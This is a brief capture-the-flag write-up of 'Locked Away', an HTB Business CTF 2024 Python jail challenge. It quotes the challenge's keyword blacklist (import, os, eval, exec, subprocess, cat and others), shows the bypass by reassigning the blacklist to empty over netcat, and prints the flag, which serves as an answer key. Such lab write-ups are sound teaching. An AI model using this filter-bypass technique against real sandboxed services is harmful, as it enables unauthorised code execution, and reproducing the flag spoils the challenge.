Locked Away

Challenge

• CTF: HTB Business CTF 2024: The Vault of Hope
• Name: Locked Away
• Category: Misc
• Difficulty: Easy
• Points: 325
• Description: A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?

Writeup

In this challenge, the point is to bypass the blacklist to evaluate python code and execute open_chest(). The blacklist contains the following strings:

blacklist = [
    'import', 'os', 'sys', 'breakpoint',
    'flag', 'txt', 'read', 'eval', 'exec',
    'dir', 'print', 'subprocess', '[', ']',
    'echo', 'cat', '>', '<', '"', '\'', 'open'
]

The way I solved it was to set blacklist to empty and then call the function to print the flag:

nc 94.237.60.73 36873
The chest lies waiting... blacklist=()
The chest lies waiting... open_chest()
HTB{bYp4sSeD_tH3_fIlT3r5?_aLw4Ys_b3_c4RefUL!_709fc00a3b31c563e0c52a575b55b45f}

Flag: `HTB{bYp4sSeD_tH3_fIlT3r5?_aLw4Ys_b3_c4RefUL!_709fc00a3b31c563e0c52a575b55b45f}'